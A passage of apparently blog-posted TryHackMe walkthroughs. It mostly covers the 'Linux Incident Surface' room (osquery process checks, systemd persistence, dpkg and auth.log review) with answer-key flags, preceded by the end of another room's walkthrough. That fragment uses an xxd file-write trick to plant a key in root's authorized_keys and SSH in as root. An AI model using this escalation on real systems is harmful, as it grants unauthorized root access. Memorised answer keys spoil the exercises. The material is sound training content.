`.ssh/authorized_keys` file. LFILE=file_to_write echo DATA | xxd | xxd -r - "$LFILE" Next ssh to the target machine as root, completing the final step! We now have full control of the machine!!! ──(kali㉿kali)-[~] └─$ ssh -i id_rsa root@10.10.221.128 Next is and find the root.txt and cat the file to reveal the flag: #2.2 What is the root.txt flag? Answer: THM{dca75486094810807faf4b7b0a929b11e5e0167c}

TryHackMe || Linux Incident Surface Walkthrough

Introduction The Linux Incident Surface focuses on all potential points or sources in the Linux system where an incident could occur or traces of incidents could be found. This could lead to a security breach, which could also be part of the Linux Attack Surface. Linux Attack Surface refers to various entry points where an attack or unauthorized attempt could be made to enter the system or gain unauthorized attempts. The room is about exploring various incident points from the defensive perspective while also considering the attack surface perspective. Prerequisites: This room expects users to have covered the following rooms: Linux Fundamentals Module Linux Forensics Let’s dive in. No answer is needed. Task 2: Lab Connection All the important files are placed in the /home/activities/processes directory in the room. So start the machine and navigate to the directory. #2.1 Connect with the lab. How many files and folders are in the /home/activities/processes directory? Answer: 3 Task 3: Linux Incident Surface — An Overview As explained before, the Linux Incident Surface refers to all the potential points in the Linux system where the attacker could exploit a weakness to gain unauthorized access, impacting the system’s C-I-A. Linux Attack Surface The Linux Attack Surface refers to all the points of interaction in a Linux system where an adversary might attempt to exploit vulnerabilities to gain unauthorized access or carry out malicious activities. One of the main purposes of identifying the attack surface is to reduce the number of entry points the attackers could potentially exploit. Some of the key entry points that could be identified as part of the Linux Attack Surface are: Open ports Running services Running software or applications with vulnerabilities Network communication The primary goal is to minimize the attack surface by reducing potential weaknesses from the areas the attacker could exploit. Some of the steps that are involved in achieving this goal are: Identifying and patching the vulnerabilities Minimizing the usage of unwanted services Check the interfaces where the user interacts Minimizing the publicly exposed services, applications, ports, etc Linux Incident Surface The Linux Incident Surface, on the other hand, refers to all the system areas involved in the detection, management, and response to an actual security incident (post-compromise). It includes where security breaches may be detected and analyzed and where a response plan must be implemented to mitigate the incident. The main purpose of identifying the incident surface is to hunt down, detect, respond to, and recover from the incident if it has occurred. A security analyst would monitor all areas within the operating system where any traces or footprints of the attack could be found. Some of the key points where we could find the incident traces are highlighted below: System logs auth.log, Syslog, krnl.log, etc Network traffic Running processes Running services The integrity of the files and processes No answer is needed. Task 4: Processes and Network Communication Processes and network communication are crucial in any operating system in incident investigations. Monitoring and analyzing processes, especially those with network communication, can help identify and address security incidents. Running processes are a key part of the Linux Incident Surface, as they could represent a potential source of evidence of an attack. To complete the questions in this task, simply follow the steps provided. Once you’ve performed the steps as outlined, you will arrive at the answers. I’ve also included images of the output you’ll get when you go through these steps: Step 1: Execute simple. c in another terminal and write the command below in another terminal: Simple.c Step 2: Getting files/resources connected with the process: files/resources connected with the process Step 3: Getting PID for Netcom after executing it in another terminal getting PID for Netcom after executing it in another terminal getting PID for Netcom after executing it in another terminal Step 4: Utilizing Osquery #4.1 What is the remote IP to which the process netcom establishes the connection? Answer: 68.53.23.246 For the next part, It’s okay if you’re unsure of the exact variable name for finding the remote port with osquery. In the query’s SELECT command, you can use SELECT * it to retrieve all fields, and you'll be able to identify the, which is 443. #4.2 Update the osquery command. What is the remote port the Netcom process is communicating to? Answer: 443 Task 5: Persistence Persistence generally refers to adversaries’ techniques for maintaining access to a compromised system after the initial exploitation. To understand how different incidents are identified at various points of the Linux endpoint, we will first perform the attack and then examine where and how the attack footprints are reflected. Answers to the questions in the tasks and how to find them: #5.1 What is the default path that contains all the installed services in Linux? Answer: /etc/systemd/system #5.2 Which suspicious service was found to be running on the host? Answer: benign.service #5.3 What process does this service point to? Answer: benign #5.4 Before getting this service stopped on 11th Sept, how many log entries were observed in the journalctl against this service? Answer: 7 Task 6: Footprints on Disk Linux Incident Surface on the disk refers to areas of the filesystem that attackers may target and where they could leave traces of their activities. From a forensics perspective, examining these areas can be crucial in understanding and investigating security incidents. Forensic analysts can identify the attack’s traces that could aid the incident response by focusing on these potential incident surfaces. #6.1 Create a suspicious Debian package on the disk by following the steps mentioned in the task. How many log entries are observed in the dpkg.log file associated with this installation activity? Answer: 6 #6.2 What package was installed on the system on the 17th of September, 2024? Answer: c2comm Task 7: Linux Logs Logs in every digital device play an important role in understanding what happened. Similarly, logs in Linux are essential for monitoring and tracking system activities, detecting attacks, and identifying incident surfaces. The logs contain records of each event or activity on the system, which could be valuable when identifying and investigating security-related incidents. View the auth.log.1 file in /var/log and you will find the answers: #7.1 Examine the auth.log files. Which user attempted to connect with SSH on 11th Sept 2024? Answer: Saqib #7.1 From which IP was this failed SSH connection attempt made? Answer: 10.11.75.247 Task 8: Conclusion No answer is needed. You can follow me on social media: Twitter, Linkedin, Instagram & Github.